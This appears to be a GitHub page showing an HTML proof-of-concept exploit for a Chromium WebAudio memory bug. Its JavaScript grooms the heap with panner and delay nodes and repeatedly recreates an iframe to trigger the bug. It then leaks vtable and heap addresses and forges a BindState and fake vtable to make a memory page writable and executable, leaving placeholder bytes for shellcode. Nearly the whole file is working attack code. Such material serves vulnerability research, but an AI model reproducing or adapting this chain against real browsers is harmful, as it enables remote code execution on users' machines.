-
Notifications
You must be signed in to change notification settings - Fork 284
Expand file tree
/
Copy pathfinished_delay_release.html
More file actions
298 lines (278 loc) · 9.95 KB
/
finished_delay_release.html
File metadata and controls
298 lines (278 loc) · 9.95 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
<html>
<head>
<script>
audioCtx = new OfflineAudioContext(1, 3072, 3072);
audioCtx2 = new OfflineAudioContext(1, 3072, 3072);
audioCtx3 = new OfflineAudioContext(1, 3072, 3072);
audioCtx4 = new OfflineAudioContext(1, 3072, 3072);
audioCtx5 = new OfflineAudioContext(1, 3072, 3072);
panners = [audioCtx.createPanner(), audioCtx.createPanner(), audioCtx.createPanner()]
delayPad = new Array(2);
counter = 0;
delay_leak = null;
controlled_data = null;
controlled_data2 = null;
arr = [audioCtx.createPanner(), audioCtx.createPanner(), audioCtx.createPanner(), audioCtx.createPanner()];
pageOffset = 1736;
hrtf_vtable_offset = 0xa1b6b30n;
//base::internal::Invoker<base::internal::BindState<void (*)(blink::KURL const&, base::WaitableEvent*, std::__1::unique_ptr<blink::WebGraphicsContext3DProvider, std::__1::default_delete<blink::WebGraphicsContext3DProvider> >*), blink::KURL, WTF::CrossThreadUnretainedWrapper<base::WaitableEvent>, WTF::CrossThreadUnretainedWrapper<std::__1::unique_ptr<blink::WebGraphicsContext3DProvider, std::__1::default_delete<blink::WebGraphicsContext3DProvider> > > >, void ()>::RunOnce(base::internal::BindStateBase*)
polymorphicInvokerOffset = 0x97b7d50n;
function sleep(miliseconds) {
var currentTime = new Date().getTime();
while (currentTime + miliseconds >= new Date().getTime()) {
}
}
function convertAddress(float) {
let buf = new ArrayBuffer(4);
floatView = new Float32Array(buf);
intView = new Uint8Array(buf);
floatView[0] = float;
let out = '';
for (let i = 3; i >= 0; i--) {
if (intView[i] == 0) {
out += '00';
continue;
}
let result = intView[i].toString(16);
out += intView[i].toString(16);
}
return out;
}
function addressToInt64(float0, float1) {
let buf = new ArrayBuffer(8);
floatView = new Float32Array(buf);
int8View = new Uint8Array(buf);
floatView[0] = float0;
floatView[1] = float1;
//Fix alignment
let bigBuf = new ArrayBuffer(8);
let bigint8View = new Uint8Array(bigBuf);
for (let i = 0; i < 6; i++) {
bigint8View[i] = int8View[i +2];
}
bigint8View[6] = 0;
bigint8View[7] = 0;
let bigint64View = new BigUint64Array(bigBuf);
return bigint64View[0];
}
function load() {
//Pad to make controlled data overlap with boundary
delayPad[0] = audioCtx4.createDelay(0.1663);
//Allocate controlled data
controlled_data = audioCtx2.createDelay(0.1663);
controlled_data2 = audioCtx5.createDelay(0.1663);
//Arrange the layout of the bucket 1152
//First 3 chunks
for (let i = 0; i < panners.length; i++) {
panners[i].panningModel = 'HRTF';
}
//Create a DelayDSPKernel whose buffer_ has the right size, which will be used to leak data.
delay_leak = audioCtx.createDelay(0.0908);
//3/3072 = 1./1024, need denominator to be power of 2 to make some arithmetic simpler
delay_leak.delayTime.value = 3 * 0.0009765625;
//SetPanningModel also creates a bunch of other buffers with size 1056 in a different thread, wait for these to be created first
//before deleting so that the gap doesn't get occupied by these.
sleep(1000);
//Free up the first 3 chunks to arrange the layout, in reverse order
for (let i = panners.length - 1; i >= 0; i--) {
panners[i].panningModel = 'equalpower';
}
audioCtx.audioWorklet.addModule('delay-processor.js').then(()=>{
createIframe();
});
}
function createIframe() {
let iframe = document.createElement('iframe');
iframe.style.display="none";
iframe.setAttribute('id', 'ifrm');
iframe.src = 'finished_delay_release2.html';
document.body.appendChild(iframe);
}
function calculatePageStart(address) {
return address & (-4096n)
}
function writeSource(vtableAddress, controlledAddress) {
let buffer = audioCtx2.createBuffer(1, 512, 3072);
let data = buffer.getChannelData(0);
let int8View = new Uint8Array(data.buffer);
let baseAddress = vtableAddress - hrtf_vtable_offset - 16n;
// let ropAddress = baseAddress + 158215616n + 564n - 16n;
//Jump to BlobCompleteCaller::OnComplete to call virtual function
let ropAddress = baseAddress + 0x305bd40n;
//Just a NoOpt address
let retAddress = ropAddress + 0x2cn;
let addressBuffer = new ArrayBuffer(8);
let bigIntView = new BigUint64Array(addressBuffer);
bigIntView[0] = ropAddress;
let ropInt8View = new Uint8Array(addressBuffer);
//Stores address to BlobCompleteCaller::OnComplete
let offset = 8 + 1736;
let size = 8;
for (let i = offset; i < offset + size; i++) {
int8View[i] = ropInt8View[i - offset];
}
offset += size;
//Stores bindState
size = 0xa8;
let polymorphicInvoker = baseAddress + polymorphicInvokerOffset;
//PolymorphicInvoker:
//mov rax,QWORD PTR [rdi + 0x20]; <-- function call
//mov rsi,QWORD PTR [rdi + 0x98]; <-- size
//mov rdx,QWORD PTR [rdi + 0xa0]; <-- access
//add rdi, 0x28 <--- page address to set permission
let setPermissions = baseAddress + 0x7f53980n;
let bindState = new ArrayBuffer(size);
let bindStateView = new DataView(bindState);
bindStateView.setBigUint64(0, 1n, true);
bindStateView.setBigUint64(8, polymorphicInvoker, true);
bindStateView.setBigUint64(0x10, retAddress, true);
bindStateView.setBigUint64(0x18, retAddress, true);
bindStateView.setBigUint64(0x20, setPermissions, true);
bindStateView.setBigUint64(0x98, 4096n, true); //<-- size
bindStateView.setBigUint64(0xa0, 0x03n, true); //<-- access
let bindStateIntView = new Uint8Array(bindState);
for (let i = offset; i < offset + size; i++) {
int8View[i] = bindStateIntView[i - offset];
}
//Replace with shell code.
for (let i = offset + size; i < offset + size + 3; i++) {
int8View[i] = 0x42;
}
let src = audioCtx2.createBufferSource();
src.buffer = buffer;
src.connect(controlled_data);
controlled_data.connect(audioCtx2.destination);
src.start();
audioCtx2.suspend((4 * 128)/3072.0);
audioCtx2.startRendering();
}
function bigInt2Int8(bigInt) {
let buffer = new ArrayBuffer(8);
let bigIntView = new BigUint64Array(buffer);
let intView = new Uint8Array(buffer);
bigIntView[0] = bigInt;
return intView;
}
function rewriteVtable(controlledAddress) {
let buffer = audioCtx3.createBuffer(1, 280, 3072);
let data = buffer.getChannelData(0);
let int8View = new Uint8Array(data.buffer);
//Overwrite vtable to controlledAddress
let fakeVtableAddr = controlledAddress + 1736n;
let controlledInt8 = bigInt2Int8(fakeVtableAddr);
for (let i = 1090; i < 1098; i++) {
int8View[i] = controlledInt8[i - 1090];
}
//ControlledAddress + 16n now stores fake BindState
controlledInt8 = bigInt2Int8(fakeVtableAddr + 16n);
for (let i = 1098; i < 1098 + 8; i++) {
int8View[i] = controlledInt8[i - 1098];
}
let fakeObj = audioCtx3.createBufferSource();
fakeObj.buffer = buffer;
let delay = audioCtx3.createDelay(0.0908);
fakeObj.connect(delay);
delay.connect(audioCtx3.destination);
fakeObj.start();
audioCtx3.suspend((3 * 128)/3072.0).then(()=> {
arr[3].panningModel = 'equalpower';
});
audioCtx3.startRendering();
}
async function leak_addresses() {
let src = audioCtx.createOscillator();
src.connect(delay_leak);
delay_leak.connect(audioCtx.destination);
var buffer = await audioCtx.startRendering();
src.disconnect(delay_leak);
delay_leak.disconnect(audioCtx.destination);
delete src;
delete delay_leak;
let x = [];
for (let i = 0; i < 100; i++) {
x.push(new ArrayBuffer(1024 * 1024));
}
let out = buffer.getChannelData(0);
let addr0 = convertAddress(out[1]);
addr0 = addr0.substring(0,4);
let addr1 = convertAddress(out[2]);
let addr2 = convertAddress(out[5]);
addr2 = addr2.substring(0,4);
let addr3 = convertAddress(out[6]);
let div = document.getElementById("div1");
div.innerHTML = 'HRTFPanner vtable address: 0x' + addr1 + addr0 + ' bin72 address: 0x' + addr3 + addr2;
let intVtable = addressToInt64(out[1], out[2]);
let intHeap = addressToInt64(out[5], out[6]);
let div2 = document.getElementById("div2");
div2.innerHTML = 'HRTFPanner vtable: ' + intVtable + ' bin72: ' + intHeap;
return {vtable: intVtable, heap: intHeap}
}
function bigInt2hex(bigInt) {
let result = new BigUint64Array([bigInt]);
let resultInt8View = new Uint8Array(result.buffer);
let out = '';
for (let i = 7; i >= 0; i--) {
if (resultInt8View[i] == 0) {
out += '00';
} else {
out += resultInt8View[i].toString(16);
}
}
return out
}
function calculateControlledAddress(heapAddress) {
//Replace offset as it can be unreliable in the size 72 bin
let buffer = new ArrayBuffer(8);
let int8View = new Uint8Array(buffer);
let bigIntView = new BigUint64Array(buffer);
bigIntView[0] = heapAddress;
int8View[0] = 0x68;
int8View[1] = 0x41;
//Hardcoded offset between heap bins.
let controlledAddress = bigIntView[0] + 0x184798n;
let out = bigInt2hex(controlledAddress);
let page = bigInt2hex(controlledAddress + 0x700n);
let div3 = document.getElementById("div3");
div3.innerHTML = 'Controlled data address: 0x' + out + 'int address: ' + controlledAddress;
let div4 = document.getElementById("div4");
div4.innerHTML = 'Page permission from address: 0x' + page + ' will be written to rwx';
return controlledAddress;
}
function remove() {
let frame = document.getElementById("ifrm");
frame.parentNode.removeChild(frame);
if (counter < 32 + 4 * 7 + 2) {
//Trigger bug to move chunk backwards
let biquad = audioCtx.createBiquadFilter();
counter++;
console.log(counter);
delete biquad;
sleep(700);
createIframe();
} else {
//Fill the gap
for (let i = 0; i < arr.length; i++) {
arr[i].panningModel = 'HRTF';
}
leak_addresses().then((results) => {
controlledAddress = calculateControlledAddress(results.heap);
writeSource(results.vtable, controlledAddress);
for (let i = 0; i < 100; i++) {
new ArrayBuffer(1024 * 1024);
}
setTimeout(()=> {
rewriteVtable(controlledAddress);
}, 1000
);
});
}
}
</script>
</head>
<body onload="load()">
<div id = "div1"></div>
<div id = "div2"></div>
<div id = "div3"></div>
<div id = "div4"></div>
</body>
</html>